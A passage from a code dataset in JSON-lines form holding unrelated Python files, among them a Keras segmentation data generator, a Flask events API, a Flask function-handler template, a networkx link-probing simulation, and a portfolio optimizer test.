random_histeq(image)\n\n\n            # Resize image & label mask to model input shape\n            image = cv2.resize(image, self.target_size)\n            label = cv2.resize(label, self.target_size, interpolation = cv2.INTER_NEAREST)\n\n            label = label.astype('int32')\n            y = label.flatten()\n\n            # we reset all the invalid label value as 0(background) in training,\n            # but as 255(invalid) in eval\n            if self.is_eval:\n                y[y>(self.num_classes-1)] = 255\n            else:\n                y[y>(self.num_classes-1)] = 0\n\n            # append input image and label array\n            self.X[n] = image\n            self.Y[n]  = np.expand_dims(y, -1)\n\n            ###########################################################################\n            #\n            # generating adaptive pixels weights array, for unbalanced classes training\n            #\n            ###########################################################################\n\n            # Create adaptive pixels weights for all classes on one image,\n            # according to pixel number of classes\n            class_list = np.unique(y)\n            if len(class_list):\n                class_weights = class_weight.compute_class_weight('balanced', class_list, y)\n                class_weights = {class_id : weight for class_id , weight in zip(class_list, class_weights)}\n            # class_weigts dict would be like:\n            # {\n            #    0: 0.5997304983036035,\n            #   12: 2.842871240958237,\n            #   15: 1.0195474451419193\n            # }\n            for class_id in class_list:\n                np.putmask(self.PIXEL_WEIGHTS[n], y==class_id, class_weights[class_id])\n\n        # A trick of keras data generator: the last item yield\n        # from a generator could be a sample weights array\n        sample_weight_dict = {'pred_mask' : self.PIXEL_WEIGHTS}\n\n        if self.weighted_type == 'adaptive':\n            return self.X, self.Y, sample_weight_dict\n        else:\n            return self.X, self.Y\n\n    def on_epoch_end(self):\n        # Shuffle dataset for next epoch\n        c = list(zip(self.image_path_list, self.label_path_list))\n        random.shuffle(c)\n        self.image_path_list, self.label_path_list = zip(*c)\n\n","sub_path":"deeplabv3p/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"641324755","text":"import sys\nfrom dataclasses import dataclass\nfrom datetime import date, datetime\n\nfrom flask import Flask\nfrom flask import jsonify, abort, request\nfrom flask.json import JSONEncoder\nfrom flask_restful import Api, Resource, reqparse, inputs\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.sql import func\n\n\nclass CustomJSONEncoder(JSONEncoder):\n    def default(self, obj):\n        try:\n            if isinstance(obj, date):\n                return obj.isoformat()\n            iterable = iter(obj)\n        except TypeError:\n            pass\n        else:\n            return list(iterable)\n        return JSONEncoder.default(self, obj)\n\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///events.db?check_same_thread=False'\napp.json_encoder = CustomJSONEncoder\napi = Api(app)\ndb = SQLAlchemy(app)\n\n\n@api.resource('/event/today')\nclass TodayEvents(Resource):\n    def get(self):\n        return jsonify(DBWorker.today_events())\n\n\n@api.resource('/event')\nclass Events(Resource):\n    parser = reqparse.RequestParser()\n    parser.add_argument(\n        'date',\n        type=inputs.date,\n        help='The event date with the correct format is required! The correct format is YYYY-MM-DD!',\n        required=True\n    )\n    parser.add_argument(\n        'event',\n        type=str,\n        help='The event name is required!',\n        required=True\n    )\n\n    def get(self):\n        start_time = request.args.get('start_time', None)\n        end_time = request.args.get('end_time', None)\n        if start_time and end_time:\n            events_in_time = DBWorker.get_events_by_time(start_time, end_time)\n            if events_in_time:\n                return jsonify(events_in_time)\n        return jsonify(DBWorker.all_events())\n\n    def post(self):\n        args = self.parser.parse_args()\n        event = args['event']\n        date = args['date']\n        DBWorker.add_event(event, date)\n        resp = {\n            \"message\": \"The event has been added!\",\n            \"event\": event,\n            \"date\": str(date.date())\n        }\n        return resp\n\n\n@api.resource('/event/<int:event_id>')\nclass EventByID(Resource):\n\n    def get(self, event_id):\n        event = DBWorker.event_by_id(event_id)\n        if event is None:\n            abort(404, \"The event doesn't exist!\")\n        return jsonify(event)\n\n    def delete(self, event_id):\n        event = DBWorker.event_by_id(event_id)\n        if event is None:\n            abort(404, \"The event doesn't exist!\")\n        DBWorker.delete_by_id(event_id)\n        return jsonify({\"message\": \"The event has been deleted!\"})\n\n\n@dataclass\nclass Events(db.Model):\n    id: int\n    event: str\n    date: str\n\n    __tablename__ = 'events'\n    id = db.Column(db.Integer, primary_key=True)\n    event = db.Column(db.String, nullable=False)\n    date = db.Column(db.Date, nullable=False)\n\n\ndb.create_all()\ndb.session.commit()\n\n\nclass DBWorker:\n    @staticmethod\n    def all_events():\n        return Events.query.all()\n\n    @staticmethod\n    def event_by_id(event_id):\n        return Events.query.filter(Events.id == event_id).first()\n\n    @staticmethod\n    def today_events():\n        return Events.query.filter(func.DATE(Events.date) == date.today()).all()\n\n    @staticmethod\n    def add_event(event, date):\n        row = Events(event=event, date=date)\n        db.session.add(row)\n        db.session.commit()\n\n    @staticmethod\n    def delete_by_id(event_id):\n        event = Events.query.filter(Events.id == event_id).first()\n        db.session.delete(event)\n        db.session.commit()\n\n    @staticmethod\n    def get_events_by_time(start_time, end_time):\n        start_time = datetime.strptime(start_time, '%Y-%m-%d')\n        end_time = datetime.strptime(end_time, '%Y-%m-%d')\n        return Events.query.filter(func.DATE(Events.date) > start_time).filter(func.DATE(Events.date) < end_time).all()\n\n\n# do not change the way you run the program\nif __name__ == '__main__':\n    if len(sys.argv) > 1:\n        arg_host, arg_port = sys.argv[1].split(':')\n        app.run(host=arg_host, port=arg_port)\n    else:\n        app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"117082858","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport os\nimport sys\n\n__author__ = \"Sanket S Desai\"\n__license__ = \"MIT\"\n__version__ = \"0.2\"\n__email__ = \"desai.sanket12@gmail.com\"\n\nclass CopyNumberVariationParser(object):\n    def __init__(self, efn):\n        if not os.path.exists(efn) and not os.path.isfile(efn):\n            print(\"Copy number variation file %s not found or unreadable, please check!!\" %(enf))\n            sys.exit(0)\n        efi=open(efn)\n        self.header_=efi.readline().strip().replace('\\\"','').split(\"\\t\")\n        self.gene_cnv_map_={}\n        for line in efi:\n            sline=line.strip().split(\"\\t\")\n            self.gene_cnv_map_[sline[0]]=sline[1]\n        efi.close()\n\n    def get_copynumbervariation(self, gene):\n        try:\n            return self.gene_cnv_map_[gene]\n        except ValueError :\n            return \"\"\n\n    def get_number_of_genes(self):\n        return len(self.gene_cnv_map_)\n\n    def get_gene_cnv_map(self):\n        return self.gene_cnv_map_\n\n    def get_gene_cnv_map(self, genelist): #given a gene list extract the values\n        gem={}\n        for g in genelist:\n            try:\n                gem[g]=self.gene_cnv_map_[g]\n            except KeyError:\n                #print(\"Gene name \\'%s\\' not found in the CNV dataset!! Please check!!\" %(g))\n                pass\n        return gem\n\n    #def get_gene_cnv_map(self):\n    #    return self.gene_cnv_map_\n\n    def get_gene_cnv_score_map(self):\n        gemap=self.get_gene_cnv_map()\n        gexpnp=np.array( list(gemap.values()) ).astype(float)\n        gexpnp_std= (gexpnp - gexpnp.min(axis=0)) / (gexpnp.max(axis=0) - gexpnp.min(axis=0))\n        gexpnp_scaled = gexpnp_std * (10 - 0) + 0\n        #gexpnp_scaled=10-avglfcnp_scaled #inverse is true\n        grs_map={}\n        ind=0\n        for g in gemap.keys():\n            grs_map[g]=float(gexpnp_scaled[ind])\n            ind=ind+1\n        return grs_map\n'''\ndef main():\n    cnvp=CopyNumberVariationParser(sys.argv[1])\n    print(cnvp.get_gene_cnv_score_map())\n\nif __name__==\"__main__\":\n    main()\n'''\n","sub_path":"depranker/parsecnv.py","file_name":"parsecnv.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"380892758","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 13 16:13:02 2016\r\n\r\n@author: huliqun\r\n\"\"\"\r\nimport logging\r\nimport falcon\r\n\r\nfrom workserver.util import SysUtil, GLBConfig\r\n\r\n\r\nclass ServiceBase(object):\r\n    db = None\r\n    dbr = None\r\n\r\n    def __init__(self):\r\n        self.logger = logging.getLogger('serverLog')\r\n        self.engine = SysUtil.get_engine_handle()\r\n        self.db = SysUtil.get_db_handle()\r\n\r\n    def initialize(self):\r\n        self.result = {}\r\n        self.result['result'] = 'success'\r\n        self.result['message'] = 'Success'\r\n        self.result['data'] = None\r\n        self.session = self.db()\r\n\r\n    def release(self):\r\n        self.session.close()\r\n\r\n    def errorReturn(self, errorType, message):\r\n        self.session.rollback()\r\n        self.session.close()\r\n\r\n        self.logger.info(message)\r\n\r\n        errorCode = falcon.HTTP_701\r\n        if errorType == GLBConfig.API_ERROR:\r\n            errorCode = falcon.HTTP_702\r\n        elif errorType == GLBConfig.SYSTEM_ERROR:\r\n            errorCode = falcon.HTTP_703\r\n\r\n        raise falcon.HTTPError(errorCode,\r\n                               errorType,\r\n                               message)\r\n","sub_path":"workserver/service/ServiceBase.py","file_name":"ServiceBase.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"586759919","text":"#!/usr/bin/env python\nimport os, sentry_sdk, httpx, jsonschema\nfrom flask import Flask, request, jsonify, json\nfrom waitress import serve\nfrom werkzeug.exceptions import HTTPException, abort\nfrom sentry_sdk.integrations.flask import FlaskIntegration\n\napp = Flask(__name__)\n\nwith app.app_context():\n    from function import handler, json_schema\n\n\ndef before_send(event, hint):\n    if isinstance(event, httpx.TimeoutException) or isinstance(event, ConnectionError):\n        return None\n    return event\n\n\nif os.environ.get(\"SENTRY_DSN\"):\n    sentry_sdk.init(\n        os.environ[\"SENTRY_DSN\"],\n        traces_sample_rate=0.2,\n        environment=os.environ.get(\"FLASK_ENV\") or \"development\",\n        integrations=[FlaskIntegration()],\n        before_send=before_send,\n    )\n\nclass Event:\n    def __init__(self):\n        self.body = request.get_json()\n        self.headers = request.headers\n        self.method = request.method\n        self.query = request.args\n        self.path = request.path\n\n\nclass Context:\n    def __init__(self):\n        self.hostname = os.getenv(\"HOSTNAME\", \"localhost\")\n\n\ndef format_status_code(resp):\n    if \"statusCode\" in resp:\n        return resp[\"statusCode\"]\n\n    return 200\n\n\ndef format_body(resp):\n    if \"body\" not in resp:\n        return \"\"\n    elif type(resp[\"body\"]) == dict:\n        return jsonify(resp[\"body\"])\n    else:\n        return str(resp[\"body\"])\n\n\ndef format_headers(resp):\n    if \"headers\" not in resp:\n        return []\n    elif type(resp[\"headers\"]) == dict:\n        headers = []\n        for key in resp[\"headers\"].keys():\n            header_tuple = (key, resp[\"headers\"][key])\n            headers.append(header_tuple)\n        return headers\n\n    return resp[\"headers\"]\n\n\ndef format_response(resp):\n    if resp is None:\n        return (\"\", 200)\n\n    statusCode = format_status_code(resp)\n    body = format_body(resp)\n    headers = format_headers(resp)\n\n    return (body, statusCode, headers)\n\n\ndef extend_with_default(validator_class):\n    validate_properties = validator_class.VALIDATORS[\"properties\"]\n\n    def set_defaults(validator, properties, instance, schema):\n        for property_, subschema in properties.items():\n            if \"default\" in subschema and not isinstance(instance, list):\n                instance.setdefault(property_, subschema[\"default\"])\n\n        for error in validate_properties(\n            validator,\n            properties,\n            instance,\n            schema,\n        ):\n            yield error\n\n    return jsonschema.validators.extend(\n        validator_class,\n        {\"properties\": set_defaults},\n    )\n\n\nDraft7Validator = extend_with_default(jsonschema.Draft7Validator)\n\n\ndef schema_validate(body, schema):\n    if hasattr(json_schema, schema):\n        try:\n            Draft7Validator(getattr(json_schema, schema), format_checker=jsonschema.draft7_format_checker).validate(\n                body\n            )\n        except jsonschema.exceptions.ValidationError as err:\n            e = {\n                \"type\": \"VALIDATION_ERROR\",\n                \"title\": f\"The received payload does not match the expected schema {err.schema.get('$id','')}\",\n                \"status\": 502,\n                \"detail\": err.message,\n            }\n            response = jsonify(e)\n            response.status_code = e[\"status\"]\n            abort(response)\n\n\n@app.route(\"/\", methods=[\"GET\", \"PUT\", \"POST\", \"PATCH\", \"DELETE\"])\ndef call_handler():\n    event = Event()\n    context = Context()\n\n    schema_validate(event.body, \"payload_schema\")\n    response = handler.handle(event, context)\n    return format_response(response)\n\n@app.errorhandler(HTTPException)\ndef handle_exception(e):\n\n    response = e.get_response()\n\n    if response.content_type != \"application/json\":\n        response.data = json.dumps(\n            {\n                \"type\": \"UNKNOWN\",\n                \"title\": e.name,\n                \"status\": e.code or 500,\n                \"detail\": e.description if type(e.description) is str else \"Flask Internal\",\n            }\n        )\n\n        response.content_type = \"application/json\"\n\n    if (e.code or 500) >= 500:\n        sentry_sdk.capture_exception(e)\n\n    return response\n\n\nif __name__ == \"__main__\":\n    serve(app, host=\"0.0.0.0\", port=5000)\n","sub_path":"template/python3-http/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"169659641","text":"#!/usr/bin/python\n# coding=utf-8\n# author:weios\n# date: 2016.5.25\n# 描述：快照管理模块url\n\nfrom django.conf.urls import url, patterns\nfrom views import *\nurlpatterns = patterns(\"\",\n    url(r'^snapshotindex/$',SnapShotManage.as_view(),name='snapshotindex'),\n    url(r'^snapshotmodify/$',SnapShot_Modify.as_view(),name='snapshotmodify'),\n    url(r'^snapshotdelete/$',SnapshotDelete,name='snapshotdelete'),\n#  云主机快照\n    url(r'^snapshotcloudindex/$',Snapshot_Cloud_index.as_view(),name='snapshotcloudindex'),\n# 云主机删除\n    url(r'^snapshorclouddelete/$',SnapshotCloudDelete,name='snapshorclouddelete'),\n# 云主机快照修改\n    url(r'snapshotcloudmpdify/$',SnapShotCloudModify.as_view(),name='snapshotcloudmpdify'),\n)","sub_path":"cloud_web/snapshot/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"476139128","text":"import networkx as nx\nimport random\nimport matplotlib.pyplot as plt\nimport community\nimport metis\nimport re\nimport numpy as np\n\n\ndef get_graph(file):\n        G = nx.Graph()\n        with open(file) as text:\n            for line in text:\n                vertices = line.strip().split(\" \")\n                source = int(vertices[0])\n                target = int(vertices[1])\n                G.add_edge(source,target)\n            return G\n\ndef genflow(hosts):\n    flow = {}\n    nodes = list(hosts)\n    for src in nodes:\n        bw = random.gammavariate(1,1)\n        dst = random.choice(nodes)\n        while src == dst:\n            dst = random.choice(nodes)\n        flow[(src,dst)] = bw\n    return flow\n\ndef getpathlink(path,swlink):\n    links = []\n    for i in range(1,len(path)-2):\n        if (path[i], path[i + 1]) in swlink:\n            link = [path[i], path[i + 1]]\n        else:\n            link = [path[i + 1], path[i]]\n        links.append((link[0], link[1]))\n    return links\n\nclass Graphbasic(object):\n    def __init__(self,G):\n        #self._G_cloned = Q.clone_graph(G)\n        self._G = G\n        self._partition = [[n for n in G.nodes()]]\n        self._max_Q = 0.0\n        self._paths = {}\n        self._link = []\n\n\n    def getpath(self,hosts):\n        # paths = {}\n        nodes = hosts\n        # print(nodes)\n        for node in nodes:\n            for dst in nodes:\n                if dst != node:\n                    path = nx.all_shortest_paths(G, source=node, target=dst)\n                    # print(list(path))\n                    self._paths[\"(%s,%s)\" % (node, dst)] = [p for p in path]\n        return self._paths\n\n    def getlink(self):\n        self._link = list(self._G.edges)\n        return self._link\n\ndef add_host(hosts):#hosts是一个字典\n    for k,v in hosts.items():\n        G.add_edge(k,v)\n\n\ndef calculateimportance(paths,swlink,importance,parts_host):\n    num = 0 #计算跨区域最短路径数\n    for k,v in paths.items():\n        # print(k)\n        s,d = re.findall(r\"\\d+\",k)\n        # print(s,d)\n        if parts_host[int(s)-1]==parts_host[int(d)-1]:#两个host在同一个区域，跳过，只计算跨区域路径\n            continue\n        num += 1\n        n = len(v)\n        for path in v:\n            links = getpathlink(path,swlink)\n            for i in links:\n                importance[i] += 1/n\n\n    for k,v in importance.items():\n        importance[k] = v / num\n    return importance\n\ndef getprobepath(probe,paths,swlinks):\n    probe_paths = {}\n    probe_links = []\n    probe_station =set()\n    while len(probe)!=0:\n        max = []\n        probe_path = []\n        probe_sd = None\n        cost=0\n        for k,v in paths.items():\n            for i in v:\n                path_links =  getpathlink(i,swlinks)\n                # print(path_links)\n                # print(probe)\n                tmp =  [i for i in probe if i in path_links]\n                # print(tmp)\n                if len(tmp) == 0:\n                    continue\n                else:\n                    tmp_cost = len(tmp) / len(path_links) + 2  # 计算代价，+2是两端点代价\n                    # print(tmp)\n                    if len(tmp)>len(max):\n                    # if tmp_cost > cost:\n                        cost = tmp_cost\n                        # print(tmp)\n                        max = tmp\n                        probe_path = i\n                        probe_sd = k\n\n        print(probe_path)\n        s, d = re.findall(r\"\\d+\", str(probe_sd))\n        # print(s, d)\n        probe_station.add(s)\n        probe_station.add(d)\n        probe_paths[probe_sd] = probe_path\n        probe_links += getpathlink(probe_path,swlinks)\n        for i in max:\n            probe.remove(i)\n    return probe_paths,probe_links,probe_station\n\ndef host_split(full_list, ratio, shuffle=False):\n    \"\"\"\n    数据集拆分: 将所有节点按比例ratio（随机）划分为2个子列表sublist_1与sublist_2\n    :param full_list: 数据列表\n    :param ratio:     比例\n    :param shuffle:   是否随机划分\n    :return:\n    \"\"\"\n    n_total = len(full_list)\n    offset = int(n_total * ratio)\n    if n_total == 0 or offset < 1:\n        return [], full_list\n    if shuffle:\n        random.shuffle(full_list)\n    sublist_1 = full_list[:offset]\n    return sublist_1\n\nG_random_geo= nx.random_geometric_graph(100,0.2)\nG_ba50 = get_graph('ba50.txt')\nG_ba50_host_30 = {'h1': 23, 'h2': 45, 'h3': 41, 'h4': 21, 'h5': 22, 'h6': 48, 'h7': 44, 'h8': 11, 'h9': 43, 'h10': 36, 'h11': 8, 'h12': 5, 'h13': 2, 'h14': 34, 'h15': 20}\nG_ba100= get_graph('ba100.txt')\nG_ba200= get_graph('ba200.txt')\nG_ba300= get_graph('ba300.txt')\nG_ba400= get_graph('ba400.txt')\nG_ba100_host_30 = {'h1': 84, 'h2': 15, 'h3': 68, 'h4': 29, 'h5': 60, 'h6': 59, 'h7': 96, 'h8': 72, 'h9': 93, 'h10': 78, 'h11': 19, 'h12': 52, 'h13': 11, 'h14': 58, 'h15': 37, 'h16': 77, 'h17': 64, 'h18': 3, 'h19': 28, 'h20': 4, 'h21': 86, 'h22': 13, 'h23': 88, 'h24': 53, 'h25': 67, 'h26': 18, 'h27': 61, 'h28': 62, 'h29': 81, 'h30': 80}\nif __name__=='__main__':\n    G = G_ba50\n    Gb = Graphbasic(G)\n    ##待测路径比例\n    r = 0.5\n    ##有host的节点比例\n    r_host = 0.5\n    hosts = G_ba50_host_30\n\n    # sw_with_host = host_split(list(G.nodes),r_host,True)\n    # hosts = {}\n    # for i, sw in enumerate(sw_with_host):\n    #     hosts['h%s' % (i + 1)] = sw\n    # print(hosts)\n    ##给每条链路定带宽\n    bw = {}\n    for i in list(G.edges()):\n        bw[i]=5\n    print(bw)\n    # part = community.best_partition(G)#community 分区方法\n    # G =  nx.windmill_graph(4,5)\n    [counts,parts]=metis.part_graph(G,10)# metis 分区方法\n\n    print('节点：',G.nodes)\n    print('分区：',parts)\n    ##分区绘图\n    pos = nx.spring_layout(G)\n    colors = ['red', 'blue', 'green', 'yellow', 'pink','orange','purple','gray','brown','olive','cyan']\n    color_value = []\n    for i, p in enumerate(parts):\n        color_value.append(colors[p])\n    nx.draw_spring(G, cmap=plt.plot(), node_color=color_value, node_size=100, with_labels=True)\n    plt.show()\n\n\n    # 不包含hostlink的链路集，用于统计链路传输特性\n    swlinks = Gb.getlink()\n\n\n    # 每个host的分区\n    parts_host = {}\n    for host, sw in enumerate(hosts.values()):\n        parts_host[host] = parts[int(sw) - 1]\n\n\n    ##分区完成，加入host\n    add_host(hosts)\n    plt.plot()\n    # nx.draw_spring(G, node_size=100, with_labels=True)\n    # plt.show()\n\n\n    ##计算端到端路径\n    # print(Gb._G.nodes)\n    paths = Gb.getpath(list(hosts.keys()))\n    print('端到端路径：',paths)\n\n    ##每条链路的故障概率\n    faultrate = {}\n    for i in swlinks:\n        faultrate[i] = 0\n\n    faultrate = {}\n    importance = {}\n    for i in swlinks:\n        faultrate[i] = 0\n        importance[i] = 0\n\n    ##计算链路的传输重要性\n    calculateimportance(paths, swlinks, importance, parts_host)\n    print('importance:',importance)\n\n    set_importance = set()\n    for i in importance.values():\n        set_importance.add(i)\n    importance = dict(sorted(importance.items(), key=lambda item:item[1], reverse=True)) # importance按值排序\n    print('sorted importance:',importance)\n\n    ##按待测路径比例r选出待测路径\n    probe = [k for k,v in importance.items()]\n    probe = probe[0:int(len(probe)*r)]\n    print('probe link',probe)\n\n    probe_paths, probe_links,probe_station = getprobepath(probe[:], paths, swlinks)\n    print('probe', probe)\n    print('probe_paths', probe_paths)\n    print('probe_links', probe_links)\n    print('probe_station', probe_station)\n\n    ##监测到的区域\n    mpart = set()  # 监测到的part\n    for k in probe_links:\n        s, d = re.findall(r\"\\d+\", str(k))\n        # print(s, d)\n        mpart.add(parts[int(s)])\n        mpart.add(parts[int(d)])\n\n    all_link_probe_paths,all_link_probe_links,all_link_probe_station = getprobepath([k for k,v in importance.items()],paths,swlinks)\n    print('all_link', swlinks)\n    print('all_link_probe_paths', all_link_probe_paths)\n    print('all_link_probe_links', all_link_probe_links)\n    print('all_link_probe_station', all_link_probe_station)\n    for e in G.edges:\n        # print(e)\n        G[e[0]][e[1]]['color'] = 'grey'\n    # Set color of edges of the shortest path to green\n    for i in probe_links:\n        G[i[0]][i[1]]['color'] = 'red'\n    # Store in a list to use for drawing\n    edge_color_list = [G[e[0]][e[1]]['color'] for e in G.edges()]\n    node_color_list = color_value\n    for i in range(len(G.nodes)-len(color_value)):##为host上色\n        node_color_list.append('white')\n    nx.draw(G, node_size=100,node_color=node_color_list, edge_color=edge_color_list, with_labels=True)\n    plt.show()\n\n    finds = []\n    misses = []\n    zfinds = []\n\n    for i in range(10):\n        find = 0#探测到的链路故障（故障发生在待测链路集上）\n        miss = 0#故障发生在待测链路集外\n        zfind = 0#探测到故障区域\n\n        for i in range(1000):#进行1000个周期\n            link = {}\n            conf_link = {}\n            fault_part = [0]*(max(parts)+1)\n\n            for i in swlinks:\n                link[i] = 0\n                conf_link[i] = False\n\n            flow = genflow(hosts)\n            # print(flow)\n\n            for k,v in flow.items():\n                path = random.choice(paths['(%s,%s)'%(k[0],k[1])])\n                for l in getpathlink(path,swlinks):\n                    # print(l)\n                    t = link[l]\n                    link[l] = t+v\n\n            for k,v in link.items():\n                if v > bw[(int(k[0]),int(k[1]))]:\n                    t = faultrate[k]\n                    faultrate[k] = t+1 #链路故障次数\n                    conf_link[k] =True\n\n            for k,v in conf_link.items():\n                miss_link = []\n                if v :\n                    if k in probe_links:\n                        # print(k)\n                        # print(re.findall(r\"\\d+\",str(k)))\n                        s,d = re.findall(r\"\\d+\",str(k))#故障区域统计\n                        fault_part[parts[int(s)]] = 1\n                        fault_part[parts[int(d)]] = 1\n                        find += 1\n                        zfind += 1\n                    else:\n                        miss_link.append(k)\n                        miss += 1\n\n\n                if len(miss_link)!=0:\n                    for k in miss_link:\n                        # print(fault_part)\n                        # print(miss_link)\n                        s,d = re.findall(r\"\\d+\", str(k))\n                        # print(parts[int(s)], parts[int(d)])\n                        # print(fault_part[parts[int(s)]], fault_part[parts[int(d)]])\n                        # print(fault_part[parts[int(s)]], fault_part[parts[int(d)]])\n                        ##只要区域内有一个拥塞节点就再检测\n                        if fault_part[parts[int(s)]]==1 and fault_part[parts[int(d)]]==1:\n                            zfind += 1\n\n        finds.append(find)\n        misses.append(miss)\n        zfinds.append(zfind)\n        # print(faultrate)\n        print('待测链路集检出异常数：', find, '漏检异常数：', miss, '待测路径检测率：', find / (miss + find), '区域故障检出数：', zfind, '区域故障检出率:',\n              zfind / (miss + find))\n    tmp = []\n    tmp.append(finds)\n    tmp.append(misses)\n    tmp.append(zfinds)\n    res = np.array(tmp)\n    print(np.mean(res,axis=1))\n    # print(finds)\n    # print(misses)\n    # print(zfinds)\n    rate = 0\n    sum = 0\n    for k, v in importance.items():\n        sum += v\n        if k in probe_links:\n            rate += v\n    print('待测链路重要度和:', rate, '总重要度和：', sum , '待测链路集重要度占比：', rate / sum)\n    print('待测链路数：', len(probe), '探针覆盖链路数：', len(probe_links), '总链路数：', len(swlinks), '测量覆盖率：',\n          len(probe_links) / len(swlinks), '探测路径条数：', len(probe_paths))\n    print('探针站数：', len(probe_station), '探针站部署代价：', len(probe_station) / len(hosts))\n    print(set(parts),mpart)\n\n\n    # print(ls)\n    # plt.figure(dpi=80)\n    # fig = plt.figure(figsize=(13, 11))\n    #\n    # ax1 = fig.add_subplot(2, 1, 1)\n    # ax2 = fig.add_subplot(2, 1, 2)\n    # plt.sca(ax1)\n    # ax1.set_xticklabels(ls,fontsize=16,rotation=45)\n    # avg = []\n    # for i in faultrate.values():\n    #     avg.append(i/1000)\n    # plt.plot(ls,faultrate)\n    # plt.sca(ax2)\n    # ax2.set_xticklabels(ls,fontsize=16, rotation=45)\n    # plt.plot(ls,list(linkrate.values()))\n    # plt.plot(ls,avg)\n\n\n\n    # plt.tight_layout()\n    # plt.show()","sub_path":"bigtopo.py","file_name":"bigtopo.py","file_ext":"py","file_size_in_byte":12621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"64054296","text":"import pandas as pd\nimport pytest\nfrom scipy import stats\n\nfrom poptimizer.portfolio import Portfolio, optimizer, portfolio\n\n\nclass FakeMetricsResample:\n    def __init__(self, _=None):\n        self.count = 30\n\n    @property\n    def all_gradients(self):\n        grad1 = dict(CHEP=0.015, KZOS=0.20, MTSS=0.01, RTKMP=0.03, TRCN=0.04, CASH=-0.05, PORTFOLIO=0.0)\n        grad2 = dict(CHEP=0.016, KZOS=0.21, MTSS=0.02, RTKMP=0.04, TRCN=0.05, CASH=-0.06, PORTFOLIO=0.2)\n        return pd.DataFrame([grad1] * 30 + [grad2]).T\n\n    @property\n    def beta(self):\n        beta = dict(CHEP=0.1, KZOS=0.5, MTSS=1.0, RTKMP=1.5, TRCN=2.0, CASH=0, PORTFOLIO=1.0)\n        return pd.Series(beta)\n\n    @property\n    def mean(self):\n        beta = dict(CHEP=0.11, KZOS=0.15, MTSS=0.2, RTKMP=0.5, TRCN=0.3, CASH=0, PORTFOLIO=1.0)\n        return pd.Series(beta)\n\n    @property\n    def std(self):\n        beta = dict(CHEP=0.31, KZOS=0.35, MTSS=0.32, RTKMP=0.35, TRCN=0.33, CASH=0, PORTFOLIO=1.0)\n        return pd.Series(beta)\n\n\n@pytest.fixture(scope=\"module\", name=\"opt\")\ndef make_opt():\n    cash = 176\n    positions = dict(CHEP=0, KZOS=5080 * 2, MTSS=3300 * 2, RTKMP=29400 * 2, TRCN=68 * 2)\n    date = \"2020-05-13\"\n    port = Portfolio(date, cash, positions)\n\n    saved_metrics = optimizer.metrics.MetricsResample\n    optimizer.metrics.MetricsResample = FakeMetricsResample\n\n    yield optimizer.Optimizer(port)\n\n    optimizer.metrics.MetricsResample = saved_metrics\n\n\ndef test_for_trade(opt, monkeypatch):\n    monkeypatch.setattr(optimizer.config, \"COSTS\", 0.001)\n    monkeypatch.setattr(portfolio, \"MAX_HISTORY\", 100)\n    monkeypatch.setattr(portfolio, \"ADD_DAYS\", 100)\n    df = opt._for_trade()\n\n    assert isinstance(df, pd.DataFrame)\n    assert df.shape == (2, 4)\n    assert list(df.columns) == [\"LOWER\", \"UPPER\", \"COSTS\", \"PRIORITY\"]\n\n    assert df.loc[\"KZOS\", \"LOWER\"] == pytest.approx(0.200)\n    assert df.index[1] == \"CHEP\"\n\n\ndef test_str(opt):\n    assert \"ОПТИМИЗАЦИЯ ПОРТФЕЛЯ\" in str(opt)\n","sub_path":"poptimizer/portfolio/tests/test_optimizer.py","file_name":"test_optimizer.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"219308061","text":"\"\"\"Postprocessing\"\"\"\n\nimport math\nfrom typing import List, Tuple\nfrom collections import defaultdict\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import t\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef plot_complete(result,\n                  n_iter,\n                  colors: List[Tuple[str, str]],\n                  logx=False,\n                  logy=False,\n                  asympt=None,\n                  asympt_color=None,\n                  asympt_label=None):\n    \"\"\"\n    Create the time vs threads plot.\n\n    Parameters\n    ----------\n    result:\n        the result of a series of runs. Must contain keys:\n            - bodies\n            - threads\n            - lower\n            - mean\n            - upper\n    \n    n_iter: int\n        number of iterations for the result\n    \n    colors: List[Tuple[str, str]]\n        a list of tuples, of length >= len(n_bodies)\n        defines the colours of the plot, where:\n            - colours[i][0] is the marker and line colour\n            - colours[i][1] is the CI fill colour\n    \n    logx: bool, default False\n        if the x scale is logarithmic\n    \n    logy: bool, default False\n        if the y scale is logarithmic\n    \n    asympt: np.array or list\n        the asymptotic behaviour of the data. If None, it will not be plotted.\n        Must have len(asympt) = len(threads)\n    \n    asympt_color: str\n        color of the asymptotic behaviour\n    \n    asympt_label: str\n        label of the asymptotic behaviour\n    \"\"\"\n    bodies = result['bodies']\n    threads = result['threads']\n    mean = result['mean']\n    lower = result['lower']\n    upper = result['upper']\n\n    fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(14, 12))\n\n    for i, N in enumerate(bodies):\n        ax.plot(\n            threads[i],\n            mean[i],\n            marker='o',\n            color=colors[i][0],\n            label=f\"{N} bodies\")\n        ax.fill_between(threads[i], lower[i], upper[i], color=colors[i][1])\n\n    if (asympt is not None) and asympt_color and asympt_label:\n        ax.plot(threads[0], 